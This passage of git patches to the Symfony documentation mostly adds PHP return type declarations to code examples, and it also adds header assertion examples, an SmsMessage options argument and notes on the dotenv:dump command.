     use Symfony\Component\HttpKernel\Event\ControllerEvent;
 
-    public function onKernelController(ControllerEvent $event)
+    public function onKernelController(ControllerEvent $event): void
     {
         // ...
 
@@ -93,7 +93,7 @@ found::
 
     use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent;
 
-    public function onKernelControllerArguments(ControllerArgumentsEvent $event)
+    public function onKernelControllerArguments(ControllerArgumentsEvent $event): void
     {
         // ...
 
@@ -125,7 +125,7 @@ HTML contents) into the ``Response`` object needed by Symfony::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Event\ViewEvent;
 
-    public function onKernelView(ViewEvent $event)
+    public function onKernelView(ViewEvent $event): void
     {
         $value = $event->getControllerResult();
         $response = new Response();
@@ -157,7 +157,7 @@ before sending it back (e.g. add/modify HTTP headers, add cookies, etc.)::
 
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
 
-    public function onKernelResponse(ResponseEvent $event)
+    public function onKernelResponse(ResponseEvent $event): void
     {
         $response = $event->getResponse();
 
@@ -186,7 +186,7 @@ the translator's locale to the one of the parent request)::
 
     use Symfony\Component\HttpKernel\Event\FinishRequestEvent;
 
-    public function onKernelFinishRequest(FinishRequestEvent $event)
+    public function onKernelFinishRequest(FinishRequestEvent $event): void
     {
         if (null === $parentRequest = $this->requestStack->getParentRequest()) {
             return;
@@ -238,7 +238,7 @@ sent as response::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Event\ExceptionEvent;
 
-    public function onKernelException(ExceptionEvent $event)
+    public function onKernelException(ExceptionEvent $event): void
     {
         $exception = $event->getThrowable();
         $response = new Response();
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index a3f3d970419..a7aec281a46 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -77,7 +77,7 @@ JavaScript::
 
     class Robot
     {
-        public function sayHi($times)
+        public function sayHi(int $times): string
         {
             $greetings = [];
             for ($i = 0; $i < $times; $i++) {
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 29601e860f8..34230659aff 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -33,7 +33,7 @@ be used to move the ``attachment`` file to a permanent location::
 
     use Symfony\Component\HttpFoundation\File\UploadedFile;
 
-    public function upload()
+    public function upload(): Response
     {
         // ...
 
diff --git a/routing.rst b/routing.rst
index 9047511e719..ff0d4a53c5c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2289,7 +2289,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
@@ -2639,7 +2639,7 @@ service, which you can inject in your services or controllers::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index ec3b5efcb1b..d4ab6880c2e 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -280,7 +280,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private bool $isLoaded = false;
 
-        public function load($resource, string $type = null)
+        public function load($resource, string $type = null): RouteCollection
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -307,7 +307,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, string $type = null): bool
         {
             return 'extra' === $type;
         }
@@ -324,7 +324,7 @@ have to create an ``extra()`` method in the ``ExtraController``::
 
     class ExtraController extends AbstractController
     {
-        public function extra($parameter)
+        public function extra(mixed $parameter): Response
         {
             return new Response($parameter);
         }
@@ -452,7 +452,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, string $type = null)
+        public function load($resource, string $type = null): RouteCollection
         {
             $routes = new RouteCollection();
 
@@ -466,7 +466,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, string $type = null): bool
         {
             return 'advanced_extra' === $type;
         }
diff --git a/security.rst b/security.rst
index 1daa0325788..e6abdff0696 100644
--- a/security.rst
+++ b/security.rst
@@ -2362,7 +2362,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +     ) {
     +     }
 
-          public function generateReport()
+          public function generateReport(): void
           {
               $salesData = [];
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ec18491005a..b801b5570c1 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -168,7 +168,7 @@ the impersonator user::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
diff --git a/security/login_link.rst b/security/login_link.rst
index 14affeb47cd..4bb9dc28074 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -93,7 +93,7 @@ intercept requests to this route:
         class SecurityController extends AbstractController
         {
             #[Route('/login_check', name: 'login_check')]
-            public function check()
+            public function check(): never
             {
                 throw new \LogicException('This code should never be reached');
             }
@@ -149,13 +149,14 @@ this interface::
     use App\Repository\UserRepository;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
 
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             // check if login form is submitted
             if ($request->isMethod('POST')) {
@@ -226,7 +227,7 @@ number::
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             if ($request->isMethod('POST')) {
                 $email = $request->request->get('email');
@@ -615,7 +616,7 @@ user create this POST request (e.g. by clicking a button)::
     class SecurityController extends AbstractController
     {
         #[Route('/login_check', name: 'login_check')]
-        public function check(Request $request)
+        public function check(Request $request): Response
         {
             // get the login link query parameters
             $expires = $request->query->get('expires');
@@ -773,7 +774,7 @@ features such as the locale used to generate the link::
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request): Response
         {
             // check if login form is submitted
             if ($request->isMethod('POST')) {
diff --git a/security/passwords.rst b/security/passwords.rst
index c4248ee4eea..6807785a29f 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -209,13 +209,12 @@ After configuring the correct algorithm, you can use the
         namespace App\Controller;
 
         // ...
-        use
-        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+        use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
         use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
         class UserController extends AbstractController
         {
-            public function registration(UserPasswordHasherInterface $passwordHasher)
+            public function registration(UserPasswordHasherInterface $passwordHasher): Response
             {
                 // ... e.g. get the user data from a registration form
                 $user = new User(...);
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 77116333384..b40e432286d 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -33,7 +33,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
     {
         use DenormalizerAwareTrait;
 
-        public function denormalize($data, string $type, string $format = null, array $context = [])
+        public function denormalize($data, string $type, string $format = null, array $context = []): mixed
         {
             if ('0000-00-00' === $data) {
                 return null;
@@ -44,7 +44,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
             return $this->denormalizer->denormalize($data, $type, $format, $context);
         }
 
-        public function supportsDenormalization($data, string $type, string $format = null, array $context = [])
+        public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool
         {
             return true === ($context['zero_datetime_to_null'] ?? false)
                 && is_a($type, \DateTimeInterface::class, true);
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 20df58ccb67..6bad3823e9d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -25,22 +25,22 @@ create your own encoder that uses the
 
     class YamlEncoder implements EncoderInterface, DecoderInterface
     {
-        public function encode($data, string $format, array $context = [])
+        public function encode($data, string $format, array $context = []): string
         {
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding(string $format, array $context = [])
+        public function supportsEncoding(string $format, array $context = []): bool
         {
             return 'yaml' === $format;
         }
 
-        public function decode(string $data, string $format, array $context = [])
+        public function decode(string $data, string $format, array $context = []): array
         {
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding(string $format, array $context = [])
+        public function supportsDecoding(string $format, array $context = []): bool
         {
             return 'yaml' === $format;
         }
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index bc94772b2a5..74f73461833 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -30,7 +30,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, string $format = null, array $context = []): array
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -42,7 +42,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, string $format = null, array $context = []): bool
         {
             return $data instanceof Topic;
         }
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 72bb7851965..722df00215b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -689,7 +689,7 @@ typed properties:
             #[Required]
             public LoggerInterface $logger;
 
-            public function transform($value)
+            public function transform($value): void
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
diff --git a/service_container/request.rst b/service_container/request.rst
index 379d065acb2..1abb289983f 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -19,7 +19,7 @@ method::
         ) {
         }
 
-        public function anyMethod()
+        public function anyMethod(): void
         {
             $request = $this->requestStack->getCurrentRequest();
             // ... do something with the request
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 30dbace8e30..6c3f9d09b8b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -34,7 +34,7 @@ to handle their respective command when it is asked for::
         ) {
         }
 
-        public function handle(Command $command)
+        public function handle(Command $command): mixed
         {
             $commandClass = get_class($command);
 
@@ -92,7 +92,7 @@ in the service subscriber::
             ];
         }
 
-        public function handle(Command $command)
+        public function handle(Command $command): mixed
         {
             $commandClass = get_class($command);
 
@@ -638,7 +638,7 @@ Inside this locator you can retrieve services by index using the value of the
 
     class HandlerCollection
     {
-        public function getHandlerTwo(ContainerInterface $locator)
+        public function getHandlerTwo(ContainerInterface $locator): mixed
         {
             return $locator->get('handler_two');
         }
@@ -757,7 +757,7 @@ services based on type-hinted helper methods::
     {
         use ServiceSubscriberTrait;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->router() ...
             // $this->logger() ...
@@ -819,7 +819,7 @@ and compose your services with them::
     {
         use ServiceSubscriberTrait, LoggerAware, RouterAware;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->router() ...
             // $this->logger() ...
@@ -865,7 +865,7 @@ Here's an example::
     {
         use ServiceSubscriberTrait;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->environment() ...
             // $this->router() ...
diff --git a/session.rst b/session.rst
index ed7ca1fb7b9..85f3d5542c8 100644
--- a/session.rst
+++ b/session.rst
@@ -49,7 +49,7 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
                 // $this->session = $requestStack->getSession();
             }
 
-            public function someMethod()
+            public function someMethod(): void
             {
                 $session = $this->requestStack->getSession();
 
@@ -1319,7 +1319,7 @@ can determine the correct locale however you want::
         ) {
         }
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
             if (!$request->hasPreviousSession()) {
@@ -1335,7 +1335,7 @@ can determine the correct locale however you want::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // must be registered before (i.e. with a higher priority than) the default Locale listener
@@ -1410,7 +1410,7 @@ Remember, to get the user's locale, always use the :method:`Request::getLocale
     // from a controller...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function index(Request $request)
+    public function index(Request $request): void
     {
         $locale = $request->getLocale();
     }
@@ -1451,7 +1451,7 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
+        public function onInteractiveLogin(InteractiveLoginEvent $event): void
         {
             $user = $event->getAuthenticationToken()->getUser();
 
@@ -1460,7 +1460,7 @@ event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
diff --git a/templates.rst b/templates.rst
index 182f3d759a6..9e927161155 100644
--- a/templates.rst
+++ b/templates.rst
@@ -580,7 +580,7 @@ to define the template to render::
     class ProductController extends AbstractController
     {
         #[Template('product/index.html.twig')]
-        public function index()
+        public function index(): array
         {
             // ...
 
@@ -618,7 +618,7 @@ the :class:`Twig\\Environment` class::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
@@ -1449,14 +1449,14 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
 
     class AppExtension extends AbstractExtension
     {
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 new TwigFilter('price', [$this, 'formatPrice']),
             ];
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
@@ -1476,14 +1476,14 @@ If you want to create a function instead of a filter, define the
 
     class AppExtension extends AbstractExtension
     {
-        public function getFunctions()
+        public function getFunctions(): array
         {
             return [
                 new TwigFunction('area', [$this, 'calculateArea']),
             ];
         }
 
-        public function calculateArea(int $width, int $length)
+        public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
         }
@@ -1541,7 +1541,7 @@ callable defined in ``getFilters()``::
 
     class AppExtension extends AbstractExtension
     {
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 // the logic of this filter is now implemented in a different class
@@ -1567,7 +1567,7 @@ previous ``formatPrice()`` method::
             // extensions, you'll need to inject services using this constructor
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
diff --git a/testing.rst b/testing.rst
index a2e10e8938c..a41d789cc76 100644
--- a/testing.rst
+++ b/testing.rst
@@ -120,7 +120,7 @@ class to help you creating and booting the kernel in your tests using
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             self::bootKernel();
 
@@ -254,7 +254,7 @@ the container is returned by ``static::getContainer()``::
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             // (1) boot the Symfony kernel
             self::bootKernel();
@@ -295,7 +295,7 @@ concrete one::
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             // ... same bootstrap as the section above
 
@@ -473,7 +473,7 @@ instance, to load ``Product`` objects into Doctrine, use::
 
     class ProductFixture extends Fixture
     {
-        public function load(ObjectManager $manager)
+        public function load(ObjectManager $manager): void
         {
             $product = new Product();
             $product->setName('Priceless widget');
@@ -690,7 +690,7 @@ to simulate a login request::
     {
         // ...
 
-        public function testVisitingWhileLoggedIn()
+        public function testVisitingWhileLoggedIn(): void
         {
             $client = static::createClient();
             $userRepository = static::getContainer()->get(UserRepository::class);
diff --git a/testing/database.rst b/testing/database.rst
index bce96353da8..97b2f3fdfd5 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -29,7 +29,7 @@ Suppose the class you want to test looks like this::
         ) {
         }
 
-        public function calculateTotalSalary($id)
+        public function calculateTotalSalary(int $id): int
         {
             $employeeRepository = $this->objectManager
                 ->getRepository(Employee::class);
@@ -53,7 +53,7 @@ constructor, you can pass a mock object within a test::
 
     class SalaryCalculatorTest extends TestCase
     {
-        public function testCalculateTotalSalary()
+        public function testCalculateTotalSalary(): void
         {
             $employee = new Employee();
             $employee->setSalary(1000);
@@ -109,7 +109,7 @@ so, get the entity manager via the service container as follows::
                 ->getManager();
         }
 
-        public function testSearchByName()
+        public function testSearchByName(): void
         {
             $product = $this->entityManager
                 ->getRepository(Product::class)
diff --git a/testing/profiling.rst b/testing/profiling.rst
index 3c0184b604c..085cd100c2d 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -73,7 +73,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     class LuckyControllerTest extends WebTestCase
     {
-        public function testRandomNumber()
+        public function testRandomNumber(): void
         {
             $client = static::createClient();
 
diff --git a/translation.rst b/translation.rst
index fea7e865cf4..ae885eb69ca 100644
--- a/translation.rst
+++ b/translation.rst
@@ -120,7 +120,7 @@ controller::
     // ...
     use Symfony\Contracts\Translation\TranslatorInterface;
 
-    public function index(TranslatorInterface $translator)
+    public function index(TranslatorInterface $translator): Response
     {
         $translated = $translator->trans('Symfony is great');
 
@@ -749,7 +749,7 @@ is stored in the request and is accessible via the ``Request`` object::
 
     use Symfony\Component\HttpFoundation\Request;
 
-    public function index(Request $request)
+    public function index(Request $request): void
     {
         $locale = $request->getLocale();
     }
@@ -758,7 +758,7 @@ To set the user's locale, you may want to create a custom event listener so
 that it's set before any other parts of the system (i.e. the translator) need
 it::
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -819,8 +819,9 @@ A better policy is to include the locale in the URL using the
                     '_locale' => 'en|fr|de',
                 ],
             )]
-            public function contact()
+            public function contact(): Response
             {
+                // ...
             }
         }
 
@@ -1021,7 +1022,7 @@ of:
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // you can get the current application locale like this:
             $currentLocale = $this->localeSwitcher->getLocale();
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 105a6b5afdc..b1c50f0511d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -67,7 +67,7 @@ class is specified by the constraint's ``validatedBy()`` method, which
 has this default logic::
 
     // in the base Symfony\Component\Validator\Constraint class
-    public function validatedBy()
+    public function validatedBy(): string
     {
         return static::class.'Validator';
     }
@@ -359,16 +359,17 @@ class to simplify writing unit tests for your custom constraints::
 
     use App\Validator\ContainsAlphanumeric;
     use App\Validator\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\ConstraintValidatorInterface;
     use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
 
     class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
     {
-        protected function createValidator()
+        protected function createValidator(): ConstraintValidatorInterface
         {
             return new ContainsAlphanumericValidator();
         }
 
-        public function testNullIsValid()
+        public function testNullIsValid(): void
         {
             $this->validator->validate(null, new ContainsAlphanumeric());
 
@@ -378,7 +379,7 @@ class to simplify writing unit tests for your custom constraints::
         /**
          * @dataProvider provideInvalidConstraints
          */
-        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint): void
         {
             $this->validator->validate('...', $constraint);
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 22af24473be..3842c781969 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -99,7 +99,7 @@ user registers and when a user updates their contact information later:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('email', new Assert\Email([
                     'groups' => ['registration'],
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index b863d9ee3ed..9c900ff2b36 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -10,7 +10,7 @@ address. From inside a controller, it looks like this::
     use Symfony\Component\Validator\Validator\ValidatorInterface;
 
     // ...
-    public function addEmail($email, ValidatorInterface $validator)
+    public function addEmail(string $email, ValidatorInterface $validator): void
     {
         $emailConstraint = new Assert\Email();
         // all constraint "options" can be set this way
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index d409b1a203a..2a06e661034 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -32,7 +32,7 @@ username and the password are different only if all other validation passes
                 message: 'The password cannot match your username',
                 groups: ['Strict'],
             )]
-            public function isPasswordSafe()
+            public function isPasswordSafe(): bool
             {
                 return ($this->username !== $this->password);
             }
@@ -99,7 +99,7 @@ username and the password are different only if all other validation passes
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('password', new Assert\NotBlank());
@@ -151,7 +151,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
     class MyType extends AbstractType
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => new GroupSequence(['First', 'Second']),
@@ -246,7 +246,7 @@ entity and a new constraint group called ``Premium``:
 
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
@@ -337,7 +337,7 @@ provides a sequence of groups to be validated:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->setGroupSequenceProvider(true);
                 // ...
diff --git a/web_link.rst b/web_link.rst
index fb81376cba3..757821094e3 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -155,12 +155,13 @@ You can also add links to the HTTP response directly from controllers and servic
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\WebLink\GenericLinkProvider;
     use Symfony\Component\WebLink\Link;
 
     class BlogController extends AbstractController
     {
-        public function index(Request $request)
+        public function index(Request $request): Response
         {
             // using the addLink() shortcut provided by AbstractController
             $this->addLink($request, new Link('preload', '/app.css'));
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f30d26397d1..12ee935cd8a 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -268,7 +268,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
         ) {
         }
 
-        public function someMethod(PullRequest $pullRequest)
+        public function someMethod(PullRequest $pullRequest): void
         {
             $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',

From 39e8e1e467cb2eac7fabfeaef864bbb05b903fa5 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 12 Jul 2023 20:03:18 +0200
Subject: [PATCH 4864/7107] Response Assertions: add examples of headers

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 8a5a7b904c8..d3705a9984a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -971,10 +971,10 @@ Response Assertions
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code).
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
-    Asserts the given header is (not) available on the response.
+    Asserts the given header is (not) available on the response, e.g. ``assertResponseHasHeader('content-type');``.
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
     Asserts the given header does (not) contain the expected value on the
-    response.
+    response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``.
 ``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
     Asserts the given cookie is present in the response (optionally
     checking for a specific cookie path or domain).

From a4a5ccea26cf9471e7fbf6604f386f62856a42b9 Mon Sep 17 00:00:00 2001
From: Tim <5579551+Timherlaud@users.noreply.github.com>
Date: Thu, 13 Jul 2023 12:05:05 +0200
Subject: [PATCH 4865/7107] Update notifier.rst

Add options to SmsMessage #17546
---
 notifier.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 72004bd3e73..bb7a27f0907 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -183,6 +183,10 @@ send SMS messages::
         #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
+            $options = (new ProviderOptions())
+                ->setPriority('high')
+            ;
+
             $sms = new SmsMessage(
                 // the phone number to send the SMS message to
                 '+1411111111',
@@ -190,6 +194,8 @@ send SMS messages::
                 'A new login was detected!',
                 // optionally, you can override default "from" defined in transports
                 '+1422222222',
+                // you can also add options object implementing MessageOptionsInterface
+                $options
             );
 
             $sentMessage = $texter->send($sms);
@@ -202,6 +208,10 @@ send SMS messages::
 
     The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The 4th argument of ``SmsMessage`` (``$options``) was introduced in Symfony 6.3.
+
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.

From eb12a3c355d92d3c40fb026d838b75b777b976c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jul 2023 16:50:54 +0200
Subject: [PATCH 4866/7107] Minor tweak

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ac79b029c92..6765b43a1a5 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>` and
+an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>`) and
 a few other things, like a set of "preloads":
 
 .. code-block:: html
@@ -1034,7 +1034,7 @@ you expect are being included in the asset map.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
-any URL to be included, or `false` to disable the polyfill.
+any URL to be included, or ``false`` to disable the polyfill.
 
 .. code-block:: yaml
 

From 6da9f16e1edd1535d2a035c89b10415903dddd38 Mon Sep 17 00:00:00 2001
From: Mert Simsek <mertsmsk0@gmail.com>
Date: Wed, 19 Jan 2022 19:04:12 +0300
Subject: [PATCH 4867/7107] Update configuration.rst and deployment.rst for
 dotenv:dump command

---
 configuration.rst | 23 ++++++++++++++++++++---
 deployment.rst    |  6 +++---
 2 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5e62421dd6c..a5662985dde 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -772,13 +772,30 @@ In production, the ``.env`` files are also parsed and loaded on each request. So
 the easiest way to define env vars is by deploying a ``.env.local`` file to your
 production server(s) with your production values.
 
-To improve performance, you can optionally run the ``dump-env`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later):
+To improve performance, you can optionally run the ``dotenv:dump`` command (available
+in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered by default. 
+In order to enable it, you must add it to their services.yaml file:
+
+.. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand:
+            - '%kernel.project_dir%/.env'
+            - '%kernel.environment%'
+
+On PHP >= 8, the two arguments can be removed when autoconfiguration is enabled (which is the default):
+
+.. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+        
+Running command:
 
 .. code-block:: terminal
 
     # parses ALL .env files and dumps their final values to .env.local.php
-    $ composer dump-env prod
+    $ php bin/console dotenv:dump prod
 
 After running this command, Symfony will load the ``.env.local.php`` file to
 get the environment variables and will not spend time parsing the ``.env`` files.
diff --git a/deployment.rst b/deployment.rst
index 1de29ae5b16..f61f8e1509b 100644
--- a/deployment.rst
+++ b/deployment.rst
